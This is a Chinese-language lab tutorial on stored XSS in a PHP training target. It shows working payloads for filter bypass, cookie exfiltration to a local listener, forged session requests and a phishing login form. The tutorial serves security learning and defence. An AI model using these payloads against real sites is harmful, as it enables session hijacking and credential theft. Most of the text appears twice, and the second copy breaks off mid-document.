没错，今天要聊的就是那台几乎每个Web安全学习者都装过的开源靶场——一个把常见漏洞都塞进同一个PHP项目里的测试环境。存储型XSS，是其中我最推荐新手反复练的模块：它需要你同时理解输入点、存储点、输出点这三件事，才能把漏洞真正打通。反射型XSS玩多了容易形成“见payload就弹窗”的思维惯性，存储型则完全不是一回事，它把攻击代码留在了服务端，等任何用户打开页面时才触发，从利用路径到危害评估都更有纵深。这篇教程面向两类人：一类是刚接触Web安全、想找一个安全又可控的靶场做实验的学生；另一类是已经在工作中做渗透测试或代码审计，但想把XSS利用链从“弹个窗”升级到“拿到会话凭证”的测试人员。我会从环境准备讲起，逐步拆解低级、中级、高级三种防护状态下的绕过思路，再带你把弹窗升级成Cookie窃取和表单劫持，最后把实验里最容易踩的坑一次性说清楚。1. 实验准备与环境搭建1.1 为什么选这套开源靶场市面上可用的漏洞练习平台不算少，但绝大多数要么太偏向CTF解题，要么漏洞场景过于抽象。这套PHP+MySQL架构的开源靶场，优势在于把所有漏洞统一放在同一个应用程序里，你可以像操作真实系统一样登录、提交数据、看数据库变化，而不是面对一个孤立的“挑战页面”。存储型XSS在这里设计得很典型：一个留言板功能，用户提交的数据会被写入后端数据库，之后每次有人访问留言展示页，服务端就把这些数据捞出来拼进HTML。整个过程跟真实业务系统里的“评论”或“反馈”功能几乎没有差别。对初学者来说，它把“攻击输入”“存储”“二次输出”三件事放在一条完整的业务链路里，比任何抽象讲解都直观。还有一点是我特别看重的：它的安全级别可以切换。低级、中级、高级分别对应无过滤、简单过滤、较严格过滤三种典型代码场景。同一个漏洞点，你能看到开发者在不同安全意识下写出的代码长什么样，也能锻炼自己的绕过思路。这种“同源对比”的体验，很难在其他零散教程里获得。1.2 部署的几种方式与版本选择部署方式我试过三种：手动搭建Web环境、用集成环境包、用官方容器镜像。个人建议优先用官方容器镜像，省去PHP版本和数据库初始化的麻烦。如果机器上已经有集成环境，也可以直接解压部署，但要注意PHP版本兼容性，版本过新或过旧都容易在安装页卡住。手动部署的流程不复杂：解压源码到Web根目录，浏览器访问安装向导，它会自动创建数据库并导入表结构。唯一需要手动确认的是config配置文件里的数据库连接参数。集成环境默认的数据库账号密码如果不改，这里通常都能直接连通。整个过程不超过五分钟，比配一套正经的开发环境省事得多。容器方式相对更干净：拉取官方镜像，启动后用映射出来的端口访问即可。数据库、Web服务都在容器里，做完实验直接删掉容器，不留一点残余。不过容器版本的PHP配置可能比较精简，后续如果要开启某个PHP扩展需要自己进容器改配置，不像集成环境那么方便。我自己的习惯是长期实验用集成环境，临时演示用容器。1.3 安全级别切换与实验前配置检查安装完成进入靶场后台，会看到当前安全级别默认是“不可用”状态，需要先到级别设置页面切换。低级别对所有初学者是最友好的，它没有任何防护，直接提交原始数据就能看到效果。中级别会尝试过滤一部分标签和关键字，高级别会再加入更严格的正则限制。实验前我建议做两件事。一是确认数据库连接正常：随便在留言板提交一条普通文字，刷新页面看是否还在。二是确认本机浏览器没有开启可能干扰实验的安全扩展。我的习惯是用一个独立的浏览器配置文件跑靶场，把扩展全部禁用，避免广告拦截类插件把嵌在页面里的Payload当作恶意脚本拦掉，那样会浪费很多排查时间。注意：靶场实验只应在本地或专属测试环境进行，任何针对他人系统的测试都必须取得授权。这篇里所有的Payload和利用思路，用途限定在漏洞学习与防御验证。2. 存储型XSS的核心原理与攻击路径2.1 存储型与反射型XSS的差异很多初学者分不清存储型和反射型，其实抓住一个关键词就行：存储。反射型的Payload是“一次性”的，它藏在URL参数里，服务端只是把参数值原样反射回页面，受害者必须点击攻击者构造的链接才会触发。存储型则不同，Payload被写进数据库里，之后服务端在输出页面时把它从库里读出来拼进HTML，任何访问这个页面的用户都会中招。举个例子你就明白了。反射型XSS像有人在你家门口贴了一张小广告，只有走到特定位置的人能看到；存储型XSS则像有人混进小区物业系统，把广告内容写进了公告栏，每天进出的人都会读到。攻击者不需要再逐个发送链接，受害者只要正常使用业务功能，攻击就会自动执行。这也是存储型XSS被归为高风险漏洞的核心原因。从触发时机的角度看，反射型依赖用户主动打开恶意URL，存储型只需要用户正常访问一个无辜页面。把Payload埋在数据库里之后，攻击者可以安心等待，攻击的覆盖面、持续时间和隐蔽性都远超反射型。理解了这一点，你就能明白为什么行业里的漏洞报告一旦确认是存储型XSS，修复优先级都会直接拉高。2.2 一次完整攻击的数据流拆解存储型XSS的完整链路分五段：输入、存储、输出、解析、执行。第一阶段，攻击者在留言框中提交包含脚本代码的文字；第二阶段，服务端把这段文字原样或处理后写入数据库；第三阶段，其他用户访问留言展示页，服务端从数据库读取这段数据，拼接到HTML响应中；第四阶段，浏览器收到响应，把它当作页面结构的一部分进行解析；第五阶段，脚本代码开始执行，攻击成立。这条链路里，每相邻环节之间都存在关键条件。输入阶段要确认服务端没有对数据做转义或过滤；存储阶段要看数据库本身是否破坏了Payload；输出阶段要看程序把数据放进了哪个HTML上下文——是标签内部、属性值里，还是JavaScript代码段中。上下文决定了Payload的写法，也决定了不同防护手段是否有效。我做这个实验时，习惯在浏览器开发者工具里把网络请求、响应体、数据库记录三样东西对照着看。输入一段Payload后，先在数据库里确认它被存成了什么样子，再在响应体里确认它被输出在了什么位置。这个三对照的习惯能帮你快速判断问题出在哪一环，也避免把“数据库字段长度截断”误判成“安全过滤生效”。2.3 为什么存储型XSS被归为高危危害评估不能只看“能不能弹窗”。存储型XSS的每个访问者都会触发，这意味着攻击者可以把脚本设计成后台“常驻”。最常见的一种利用方式是窃取会话凭证：脚本读取当前用户的Cookie并发送到攻击者服务器，攻击者拿到Cookie后直接伪造会话，登录受害者的账号。更危险的是，如果目标系统本身没有太严格的数据流控制，脚本还能向页面注入伪造表单，诱导用户输入账号密码；或者修改页面核心内容，实现钓鱼和诈骗。某些场景下，存储型XSS甚至可以在用户浏览器里发起跨站请求，伪造用户身份修改自己的资料、提交订单、增删数据，行为层面完全失控。从防御方角度看，存储型XSS修复起来往往比反射型更麻烦：既要改存储逻辑，又要改输出逻辑，还要排查已有历史数据是否已被污染。对攻击者而言，一条存储型XSS的价值可能抵得上好几条反射型XSS，因为它天然拥有“持续影响所有用户”的杀伤力。这也是每个Web安全学习者都必须深入理解它的原因。3. 三个安全级别下的注入实验3.1 低级防护：无过滤状态下的直接测试低级状态下，服务端源码里没有任何过滤和转义，输入是什么，最终页面就输出什么。这时最直接的Payload就是一行经典脚本。我在留言框里提交以下内容，然后刷新页面，浏览器立即弹出当前页面的Cookie信息窗口。<script>alert(document.cookie)</script>这个弹窗验证了“脚本执行”这一关键点。从源码角度看，低级别的代码只是把用户提交的留言拼接进HTML输出，没有调用任何过滤函数。初学者在这里应当记住一个判断方法：看服务端代码里有没有htmlspecialchars、strip_tags、preg_replace这类处理函数，如果完全没有，那么一切标签和事件属性都是可用的。低级别实验我建议不只测一个弹窗。多收集几种Payload，看看在不同上下文里的表现。比如把脚本放在超链接里，或者用图片标签的onerror属性触发代码，都能加深对XSS“本质是HTML注入”的理解。这个阶段的目标不是炫技，而是建立“输入点→输出点→执行点”的三点对应关系。3.2 中级防护：标签替换与简单黑名单绕过中级状态下的服务端开始有过滤意识，源码里出现了两个关键操作：使用strip_tags剥离标签，以及把<script>字符串替换为空。直接提交上一级的脚本，页面会显示异常或被清掉一部分内容。单靠基础的script标签已经走不通，但这里可以绕过。先看过滤逻辑：strip_tags会把尖括号包起来的标签名剥离，但HTML事件属性是在标签内部的，它不影响属性里的内容。同时它替换的是<script>这个固定字符串，如果把标签写成<scr<script>ipt>，过滤后反而会拼成完整的<script>，但这招在这个靶场表现不稳定，不推荐。我的实测绕过思路是用图片标签配合事件属性。下面这段Payload在多数浏览器里都能稳定触发：<img src=x onerror=alert(document.cookie)>这段代码中，img标签本身没有闭合的script字眼，过滤逻辑不会命中；onerror事件在图片加载失败时触发，而src=x指向一个不存在的资源，于是脚本自然执行。这个例子说明黑名单过滤的典型弱点：它只认识固定的小段字符串，无法理解HTML语义。中级实验还有一个值得尝试的方向：换用其他标签和事件组合。比如svg标签的onload事件，或者body标签的onload属性，都能达到类似效果。建议你在本地把不同组合记录下来，对比哪些能绕过过滤器，逐渐总结出“哪些事件属性是被黑名单遗漏的高频触发点”。这对你以后做真实代码审计会有直接帮助。3.3 高级防护：白名单思路与残余风险高级状态下的源码把过滤做得更严格，除了再次移除script标签，还用正则表达式过滤了一大批事件属性、关键字和尖括号组合。直接提交图片标签或svg标签，这些内容会被剥离得面目全非。在这里，纯靠黑名单关键字已经很难突破，因为开发者的正则覆盖了常见单词和符号组合。这里我对实验心态提一个建议：高级别下的代码更像是展示“如何用黑名单把常见攻击封死”，而不是真的“无解”。在网上能看到各种所谓高级别绕过的讨论，但很多依赖特定的PHP版本、浏览器解析差异或歪门邪道。作为学习，你应该重点理解过滤器的设计思路，而不是死磕出一条神秘路径。不过有一个残余思路值得练习，它不是为了硬破这个靶场，而是为了理解攻击者的想象力：利用不依赖事件属性和括号的短payload，或者借助浏览器对HTML实体的解析机制。这个实验真正的价值在于让你明白，单靠黑名单过滤XSS只是治标不治本，既要过滤输入，更要输出编码，必须两层同时做。实操心得：面对高级别的过滤代码，先别急着搜“绕过姿势”，把源码读三遍，画清楚过滤规则的匹配范围，再去想“它漏了什么语义”。时间急的话直接切换到防御视角，对比三种级别下的源码差异，这比背Payload有价值得多。4. 利用思路升级：从弹窗到会话窃取4.1 劫持Cookie的完整实验弹窗只是证明脚本能执行，真正的利用要拿到实际控制权。这个靶场里，我建议你做一个完整的Cookie劫持实验：注入一段脚本，让受害者的浏览器把Cookie发送到攻击者控制的服务器。按下面的步骤操作：在你自己的电脑上启动一个简单的监听服务，接收来自页面的HTTP请求；然后在留言板输入一段窃取Cookie的Payload。<script>new Image().src='http://127.0.0.1:8888/steal?c='+document.cookie</script>这段脚本创建了一个图片请求，请求地址里带上当前页面的Cookie文本。图片加载本身会失败，但请求已经发出，监听服务能收到完整路径。我用Python的http.server模块做演示：启动监听后，访问一次留言页面，监听窗口里立刻出现带有Cookie的请求记录。这个实验完整还原了攻击者从“注入脚本”到“获得会话凭证”的闭环。需要提醒的是，现在主流浏览器对Cookie有不少安全限制。如果服务端在生成Cookie时设置了HttpOnly属性，document.cookie拿不到该Cookie，窃取就会失效。靶场默认环境的Cookie属性配置比较宽松，所以实验能成功，但你在真实测试中一定要先验证目标Cookie是否受HttpOnly保护。4.2 HttpOnly与同源策略的边界很多人做Cookie窃取实验失败后，会误以为存储型XSS没有危害，这是很大的误解。HttpOnly只是堵住了JavaScript读取Cookie这条路径，并没有阻止脚本在受害者浏览器里执行其他操作。攻击者完全可以不读取Cookie，而是直接利用浏览器当前的身份状态向服务端发起请求。举例来说，注入下面的脚本可以让浏览器在后台向一个接口发送数据，受害者的登录凭证会被自动带上，因为这是浏览器自己发出的请求。<script>fetch('/修改资料接口',{method:'POST',body:'恶意数据'})</script>这种操作不需要知道Cookie的值，只需要当前用户浏览器里保存的有效会话。它的危害甚至比窃取Cookie更直接：不依赖外部服务器中转，不走跨域限制,脚本像用户自己操作页面一样，把修改命令发给后端。我在实验里常用这种方式配合“监听后端响应”，观察脚本是否成功修改了当前用户的数据。同源策略在这里的作用需要澄清：它限制的是脚本读取不同源响应的内容，而不是限制脚本发出跨源请求。存储型XSS注入的脚本本身运行在目标页面源下，所以它可以请求同源接口并读取响应，整个权限就等同于受害者在页面里操作的权限。4.3 表单劫持与页面篡改的实战思路如果后台用户都要登录，那么窃取会话或篡改操作不如直接设计一个钓鱼登录框。利用存储型XSS，你可以向页面注入一段伪造的“登录表单”。使用者以为页面过期重新登录，输入了用户名密码，脚本把这些数据先发给监听服务器，再将页面跳转到真实地址。伪造登录框的Payload会复杂很多，核心逻辑包括：创建表单元素、设置提交监听、在提交时把表单数据发送到远程服务器。初学者不需要一开始就写出完整代码，可以直接把脚本拆成两步：先用注入脚本向页面插入一段HTML，再为新插入的元素绑定事件。每一步都在浏览器控制台验证效果。页面篡改的玩法简单一些：注入脚本可以把页面上的核心标题或提示文字替换成攻击者想要的内容，配合预约、中奖等话术诱导用户执行操作。真实案件中，这类攻击通常被用来在合法页面里制造虚假信息，用户对原网站的信任会被恶意利用。我自己的实验习惯是在本地用两个浏览器账户模拟攻击者和受害者：一个账户提交恶意留言，另一个账户会话里访问留言页，观察脚本执行。这样能清晰体会存储型XSS为什么强调“影响所有后续访问者”，也会让你在真实项目代码审计里对留言、评论、昵称等功能的输出点格外敏感。5. 常见问题与排查技巧实录5.1 输入Payload后页面不弹窗这个问题我遇到得最多，通常不是靶场故障，而是下面几个原因之一。最强的嫌疑是浏览器内置的XSS过滤器：现代浏览器会对明显形似脚本的响应做拦截，尤其是在URL参数里的反射型场景。存储型场景里过滤器响应较弱，但仍然可能拦下部分明显的脚本标签。排查时先换个浏览器试试，或者暂时关闭过滤功能再对比。其次是编码问题。如果页面指定了字符集，而Payload里包含特殊字符，浏览器可能把它们当作纯文本显示。编码问题的典型表现是：数据库里存的是完整Payload，响应体里也能看到原始文本，可页面就是不解析标签。处理方法是确认页面输出时使用的字符集，或者把Payload改成全ASCII字符。最后要检查的是输出位置。有些页面把用户数据放在HTML标签内部，比如出现在文本节点里，那么直接写<script>标签确实不会执行，因为标签没被当作标签解析。这时候要结合输出上下文调整Payload，比如改用事件属性。排查顺序我建议是：先看响应体、再看浏览器过滤、最后看输出上下文。现象可能原因排查方向页面显示源码文本不执行输出点做了HTML转义查看响应体中标签是否被转义源码正常但无弹窗浏览器XSS过滤器拦截换浏览器或暂时关闭过滤数据库里内容不完整字段长度截断或过滤函数生效查看数据表结构和过滤代码5.2 数据库中文乱码或写入失败这个靶场部署在中文环境里偶尔会出现字符集混乱。症状是留言里输入中文后，保存成功但页面显示乱码；或者直接报错写入失败。大多数情况下是数据库连接字符集和表字符集不匹配导致的。检查思路顺着链路走：先看数据库建表语句里的默认字符集，再看靶场配置文件里有没有设置连接字符集。通常把表结构里的字符集改成utf8mb4，同时在连接初始化时执行SET NAMES utf8mb4，就能解决。靶场是练习环境，一次性可以重置数据表结构，直接操作不影响其他模块。5.3 高级别下是不是真的无解我先说结论：不要把这个靶场的高级别当成“必须攻破”的目标。它本质上是黑名单过滤的集大成展示，设计意图是让你对比不同防护强度。真实系统里，只要将输出编码做得足够严格，存储型XSS基本能被堵死，绝不鼓励你在真实业务里为了绕过而绕过。从学习角度，值得做的是推断：这套黑名单基于正则表达式匹配，它会漏掉什么？为什么事件属性的变形写法有时能生效？如果你能根据自己的推断构造出一个能生效的Payload，那你就真正理解了过滤器的工作原理。推不出来也没关系，把代码里用到的正则抄下来逐一分析，本身就是扎实的进阶训练。5.4 恢复实验环境的几个技巧实验做多了难免把留言表里塞满恶意Payload，影响下一轮测试。靶场自带重置功能，可以直接恢复数据库到初始状态。如果是手动部署，也可以用集成环境里的数据库管理工具，把相关数据表清空，或者直接删除整个数据库后重新访问安装向导。容器方式更简单，容器本身就适合“用完即弃”。实验前给容器打一个快照，做完一轮高风险测试直接恢复快照，环境和Payload都回到初始状态。我自己做长线研究时会配合版本管理工具记录靶场源码的改动，这样即使改了PHP代码也能随时回退，不用重新部署。6. 从实验到防御：个人经验与最后提醒6.1 这个实验最有价值的三个认知做完全套实验，我最想强调的是三个认知。第一，XSS的根子在于“数据与代码没有分离”。用户输入的数据被当成HTML代码拼接输出了，才给了脚本执行的机会。明白了这一点，你就能理解为什么修复XSS最核心的手段是“输出编码”而非“过滤关键字”。第二，存储型XSS的危害不能只靠弹窗评估，要放到整个会话流程和业务逻辑里去衡量，一次看似不起眼的留言注入，可能变成全站范围的“幽灵脚本”。第三，防御层面不能依赖单一手段，输入过滤、输出编码、HttpOnly、CSP要配合使用，形成纵深，这才叫真正的安全编码。这三个认知，如果单纯看教程，你可能觉得都懂，但只有亲手把一个Payload从提交到执行再到拿到Cookie走完一遍，你才会真正理解它们的分量。我在指导新人时，从来不要求他们背漏洞类型，而是要求他们画清楚数据流，独立完成这个实验的所有三个级别，这比口头讲解十遍都有效。6.2 我踩过的几个坑，提前帮你避开第一个坑是实验时用了开了过滤插件的浏览器，导致Payload被干掉，浪费大量时间排查靶场问题。后来我固定用一个独立的浏览器配置专门做靶场实验，这个问题再没出现过。第二个坑是手动部署时忽略了PHP版本，导致安装页功能异常，换版本后一切正常。第三个坑是早期做Cookie劫持实验时，监听服务器的地址和端口没配对，Payload发到了错误的后台，误以为漏洞不可利用。后来我养成了先单独测试监听服务器、再注入Payload的习惯，先把“收信端”打通，再去验证脚本是否生效。最后一个提醒：这个实验的价值不仅在于“会攻击”，更在于“能防御”。我建议你完成攻击实验后，回到源码里去读那三种过滤代码，尝试把低级别的代码改成安全版本，再回到留言板测试是否还能绕过。你攻击有多熟练，防御就该有多敏感。只有亲自站在两端都做过一遍，才算真正掌握了存储型XSS从原理到攻防的完整脉络。
没错，今天要聊的就是那台几乎每个Web安全学习者都装过的开源靶场——一个把常见漏洞都塞进同一个PHP项目里的测试环境。存储型XSS，是其中我最推荐新手反复练的模块：它需要你同时理解输入点、存储点、输出点这三件事，才能把漏洞真正打通。反射型XSS玩多了容易形成“见payload就弹窗”的思维惯性，存储型则完全不是一回事，它把攻击代码留在了服务端，等任何用户打开页面时才触发，从利用路径到危害评估都更有纵深。这篇教程面向两类人：一类是刚接触Web安全、想找一个安全又可控的靶场做实验的学生；另一类是已经在工作中做渗透测试或代码审计，但想把XSS利用链从“弹个窗”升级到“拿到会话凭证”的测试人员。我会从环境准备讲起，逐步拆解低级、中级、高级三种防护状态下的绕过思路，再带你把弹窗升级成Cookie窃取和表单劫持，最后把实验里最容易踩的坑一次性说清楚。1. 实验准备与环境搭建1.1 为什么选这套开源靶场市面上可用的漏洞练习平台不算少，但绝大多数要么太偏向CTF解题，要么漏洞场景过于抽象。这套PHP+MySQL架构的开源靶场，优势在于把所有漏洞统一放在同一个应用程序里，你可以像操作真实系统一样登录、提交数据、看数据库变化，而不是面对一个孤立的“挑战页面”。存储型XSS在这里设计得很典型：一个留言板功能，用户提交的数据会被写入后端数据库，之后每次有人访问留言展示页，服务端就把这些数据捞出来拼进HTML。整个过程跟真实业务系统里的“评论”或“反馈”功能几乎没有差别。对初学者来说，它把“攻击输入”“存储”“二次输出”三件事放在一条完整的业务链路里，比任何抽象讲解都直观。还有一点是我特别看重的：它的安全级别可以切换。低级、中级、高级分别对应无过滤、简单过滤、较严格过滤三种典型代码场景。同一个漏洞点，你能看到开发者在不同安全意识下写出的代码长什么样，也能锻炼自己的绕过思路。这种“同源对比”的体验，很难在其他零散教程里获得。1.2 部署的几种方式与版本选择部署方式我试过三种：手动搭建Web环境、用集成环境包、用官方容器镜像。个人建议优先用官方容器镜像，省去PHP版本和数据库初始化的麻烦。如果机器上已经有集成环境，也可以直接解压部署，但要注意PHP版本兼容性，版本过新或过旧都容易在安装页卡住。手动部署的流程不复杂：解压源码到Web根目录，浏览器访问安装向导，它会自动创建数据库并导入表结构。唯一需要手动确认的是config配置文件里的数据库连接参数。集成环境默认的数据库账号密码如果不改，这里通常都能直接连通。整个过程不超过五分钟，比配一套正经的开发环境省事得多。容器方式相对更干净：拉取官方镜像，启动后用映射出来的端口访问即可。数据库、Web服务都在容器里，做完实验直接删掉容器，不留一点残余。不过容器版本的PHP配置可能比较精简，后续如果要开启某个PHP扩展需要自己进容器改配置，不像集成环境那么方便。我自己的习惯是长期实验用集成环境，临时演示用容器。1.3 安全级别切换与实验前配置检查安装完成进入靶场后台，会看到当前安全级别默认是“不可用”状态，需要先到级别设置页面切换。低级别对所有初学者是最友好的，它没有任何防护，直接提交原始数据就能看到效果。中级别会尝试过滤一部分标签和关键字，高级别会再加入更严格的正则限制。实验前我建议做两件事。一是确认数据库连接正常：随便在留言板提交一条普通文字，刷新页面看是否还在。二是确认本机浏览器没有开启可能干扰实验的安全扩展。我的习惯是用一个独立的浏览器配置文件跑靶场，把扩展全部禁用，避免广告拦截类插件把嵌在页面里的Payload当作恶意脚本拦掉，那样会浪费很多排查时间。注意：靶场实验只应在本地或专属测试环境进行，任何针对他人系统的测试都必须取得授权。这篇里所有的Payload和利用思路，用途限定在漏洞学习与防御验证。2. 存储型XSS的核心原理与攻击路径2.1 存储型与反射型XSS的差异很多初学者分不清存储型和反射型，其实抓住一个关键词就行：存储。反射型的Payload是“一次性”的，它藏在URL参数里，服务端只是把参数值原样反射回页面，受害者必须点击攻击者构造的链接才会触发。存储型则不同，Payload被写进数据库里，之后服务端在输出页面时把它从库里读出来拼进HTML，任何访问这个页面的用户都会中招。举个例子你就明白了。反射型XSS像有人在你家门口贴了一张小广告，只有走到特定位置的人能看到；存储型XSS则像有人混进小区物业系统，把广告内容写进了公告栏，每天进出的人都会读到。攻击者不需要再逐个发送链接，受害者只要正常使用业务功能，攻击就会自动执行。这也是存储型XSS被归为高风险漏洞的核心原因。从触发时机的角度看，反射型依赖用户主动打开恶意URL，存储型只需要用户正常访问一个无辜页面。把Payload埋在数据库里之后，攻击者可以安心等待，攻击的覆盖面、持续时间和隐蔽性都远超反射型。理解了这一点，你就能明白为什么行业里的漏洞报告一旦确认是存储型XSS，修复优先级都会直接拉高。2.2 一次完整攻击的数据流拆解存储型XSS的完整链路分五段：输入、存储、输出、解析、执行。第一阶段，攻击者在留言框中提交包含脚本代码的文字；第二阶段，服务端把这段文字原样或处理后写入数据库；第三阶段，其他用户访问留言展示页，服务端从数据库读取这段数据，拼接到HTML响应中；第四阶段，浏览器收到响应，把它当作页面结构的一部分进行解析；第五阶段，脚本代码开始执行，攻击成立。这条链路里，每相邻环节之间都存在关键条件。输入阶段要确认服务端没有对数据做转义或过滤；存储阶段要看数据库本身是否破坏了Payload；输出阶段要看程序把数据放进了哪个HTML上下文——是标签内部、属性值里，还是JavaScript代码段中。上下文决定了Payload的写法，也决定了不同防护手段是否有效。我做这个实验时，习惯在浏览器开发者工具里把网络请求、响应体、数据库记录三样东西对照着看。输入一段Payload后，先在数据库里确认它被存成了什么样子，再在响应体里确认它被输出在了什么位置。这个三对照的习惯能帮你快速判断问题出在哪一环，也避免把“数据库字段长度截断”误判成“安全过滤生效”。2.3 为什么存储型XSS被归为高危危害评估不能只看“能不能弹窗”。存储型XSS的每个访问者都会触发，这意味着攻击者可以把脚本设计成后台“常驻”。最常见的一种利用方式是窃取会话凭证：脚本读取当前用户的Cookie并发送到攻击者服务器，攻击者拿到Cookie后直接伪造会话，登录受害者的账号。更危险的是，如果目标系统本身没有太严格的数据流控制，脚本还能向页面注入伪造表单，诱导用户输入账号密码；或者修改页面核心内容，实现钓鱼和诈骗。某些场景下，存储型XSS甚至可以在用户浏览器里发起跨站请求，伪造用户身份修改自己的资料、提交订单、增删数据，行为层面完全失控。从防御方角度看，存储型XSS修复起来往往比反射型更麻烦：既要改存储逻辑，又要改输出逻辑，还要排查已有历史数据是否已被污染。对攻击者而言，一条存储型XSS的价值可能抵得上好几条反射型XSS，因为它天然拥有“持续影响所有用户”的杀伤力。这也是每个Web安全学习者都必须深入理解它的原因。3. 三个安全级别下的注入实验3.1 低级防护：无过滤状态下的直接测试低级状态下，服务端源码里没有任何过滤和转义，输入是什么，最终页面就输出什么。这时最直接的Payload就是一行经典脚本。我在留言框里提交以下内容，然后刷新页面，浏览器立即弹出当前页面的Cookie信息窗口。<script>alert(document.cookie)</script>这个弹窗验证了“脚本执行”这一关键点。从源码角度看，低级别的代码只是把用户提交的留言拼接进HTML输出，没有调用任何过滤函数。初学者在这里应当记住一个判断方法：看服务端代码里有没有htmlspecialchars、strip_tags、preg_replace这类处理函数，如果完全没有，那么一切标签和事件属性都是可用的。低级别实验我建议不只测一个弹窗。多收集几种Payload，看看在不同上下文里的表现。比如把脚本放在超链接里，或者用图片标签的onerror属性触发代码，都能加深对XSS“本质是HTML注入”的理解。这个阶段的目标不是炫技，而是建立“输入点→输出点→执行点”的三点对应关系。3.2 中级防护：标签替换与简单黑名单绕过中级状态下的服务端开始有过滤意识，源码里出现了两个关键操作：使用strip_tags剥离标签，以及把<script>字符串替换为空。直接提交上一级的脚本，页面会显示异常或被清掉一部分内容。单靠基础的script标签已经走不通，但这里可以绕过。先看过滤逻辑：strip_tags会把尖括号包起来的标签名剥离，但HTML事件属性是在标签内部的，它不影响属性里的内容。同时它替换的是<script>这个固定字符串，如果把标签写成<scr<script>ipt>，过滤后反而会拼成完整的<script>，但这招在这个靶场表现不稳定，不推荐。我的实测绕过思路是用图片标签配合事件属性。下面这段Payload在多数浏览器里都能稳定触发：<img src=x onerror=alert(document.cookie)>这段代码中，img标签本身没有闭合的script字眼，过滤逻辑不会命中；onerror事件在图片加载失败时触发，而src=x指向一个不存在的资源，于是脚本自然执行。这个例子说明黑名单过滤的典型弱点：它只认识固定的小段字符串，无法理解HTML语义。中级实验还有一个值得尝试的方向：换用其他标签和事件组合。比如svg标签的onload事件，或者body标签的onload属性，都能达到类似效果。建议你在本地把不同组合记录下来，对比哪些能绕过过滤器，逐渐总结出“哪些事件属性是被黑名单遗漏的高频触发点”。这对你以后做真实代码审计会有直接帮助。3.3 高级防护：白名单思路与残余风险高级状态下的源码把过滤做得更严格，除了再次移除script标签，还用正则表达式过滤了一大批事件属性、关键字和尖括号组合。直接提交图片标签或svg标签，这些内容会被剥离得面目全非。在这里，纯靠黑名单关键字已经很难突破，因为开发者的正则覆盖了常见单词和符号组合。这里我对实验心态提一个建议：高级别下的代码更像是展示“如何用黑名单把常见攻击封死”，而不是真的“无解”。在网上能看到各种所谓高级别绕过的讨论，但很多依赖特定的PHP版本、浏览器解析差异或歪门邪道。作为学习，你应该重点理解过滤器的设计思路，而不是死磕出一条神秘路径。不过有一个残余思路值得练习，它不是为了硬破这个靶场，而是为了理解攻击者的想象力：利用不依赖事件属性和括号的短payload，或者借助浏览器对HTML实体的解析机制。这个实验真正的价值在于让你明白，单靠黑名单过滤XSS只是治标不治本，既要过滤输入，更要输出编码，必须两层同时做。实操心得：面对高级别的过滤代码，先别急着搜“绕过姿势”，把源码读三遍，画清楚过滤规则的匹配范围，再去想“它漏了什么语义”。时间急的话直接切换到防御视角，对比三种级别下的源码差异，这比背Payload有价值得多。4. 利用思路升级：从弹窗到会话窃取4.1 劫持Cookie的完整实验弹窗只是证明脚本能执行，真正的利用要拿到实际控制权。这个靶场里，我建议你做一个完整的Cookie劫持实验：注入一段脚本，让受害者的浏览器把Cookie发送到攻击者控制的服务器。按下面的步骤操作：在你自己的电脑上启动一个简单的监听服务，接收来自页面的HTTP请求；然后在留言板输入一段窃取Cookie的Payload。<script>new Image().src='http://127.0.0.1:8888/steal?c='+document.cookie</script>这段脚本创建了一个图片请求，请求地址里带上当前页面的Cookie文本。图片加载本身会失败，但请求已经发出，监听服务能收到完整路径。我用Python的http.server模块做演示：启动监听后，访问一次留言页面，监听窗口里立刻出现带有Cookie的请求记录。这个实验完整还原了攻击者从“注入脚本”到“获得会话凭证”的闭环。需要提醒的是，现在主流浏览器对Cookie有不少安全限制。如果服务端在生成Cookie时设置了HttpOnly属性，document.cookie拿不到该Cookie，窃取就会失效。靶场默认环境的Cookie属性配置比较宽松，所以实验能成功，但你在真实测试中一定要先验证目标Cookie是否受HttpOnly保护。4.2 HttpOnly与同源策略的边界很多人做Cookie窃取实验失败后，会误以为存储型XSS没有危害，这是很大的误解。HttpOnly只是堵住了JavaScript读取Cookie这条路径，并没有阻止脚本在受害者浏览器里执行其他操作。攻击者完全可以不读取Cookie，而是直接利用浏览器当前的身份状态向服务端发起请求。举例来说，注入下面的脚本可以让浏览器在后台向一个接口发送数据，受害者的登录凭证会被自动带上，因为这是浏览器自己发出的请求。<script>fetch('/修改资料接口',{method:'POST',body:'恶意数据'})</script>这种操作不需要知道Cookie的值，只需要当前用户浏览器里保存的有效会话。它的危害甚至比窃取Cookie更直接：不依赖外部服务器中转，不走跨域限制,脚本像用户自己操作页面一样，把修改命令发给后端。我在实验里常用这种方式配合“监听后端响应”，观察脚本是否成功修改了当前用户的数据。同源策略在这里的作用需要澄清：它限制的是脚本读取不同源响应的内容，而不是限制脚本发出跨源请求。存储型XSS注入的脚本本身运行在目标页面源下，所以它可以请求同源接口并读取响应，整个权限就等同于受害者在页面里操作的权限。4.3 表单劫持与页面篡改的实战思路如果后台用户都要登录，那么窃取会话或篡改操作不如直接设计一个钓鱼登录框。利用存储型XSS，你可以向页面注入一段伪造的“登录表单”。使用者以为页面过期重新登录，输入了用户名密码，脚本把这些数据先发给监听服务器，再将页面跳转到真实地址。伪造登录框的Payload会复杂很多，核心逻辑包括：创建表单元素、设置提交监听、在提交时把表单数据发送到远程服务器。初学者不需要一开始就写出完整代码，可以直接把脚本拆成两步：先用注入脚本向页面插入一段HTML，再为新插入的元素绑定事件。每一步都在浏览器控制台验证效果。页面篡改的玩法简单一些：注入脚本可以把页面上的核心标题或提示文字替换成攻击者想要的内容，配合预约、中奖等话术诱导用户执行操作。真实案件中，这类攻击通常被用来在合法页面里制造虚假信息，用户对原网站的信任会被恶意利用。我自己的实验习惯是在本地用两个浏览器账户模拟攻击者和受害者：一个账户提交恶意留言，另一个账户会话里访问留言页，观察脚本执行。这样能清晰体会存储型XSS为什么强调“影响所有后续访问者”，也会让你在真实项目代码审计里对留言、评论、昵称等功能的输出点格外敏感。5. 常见问题与排查技巧实录5.1 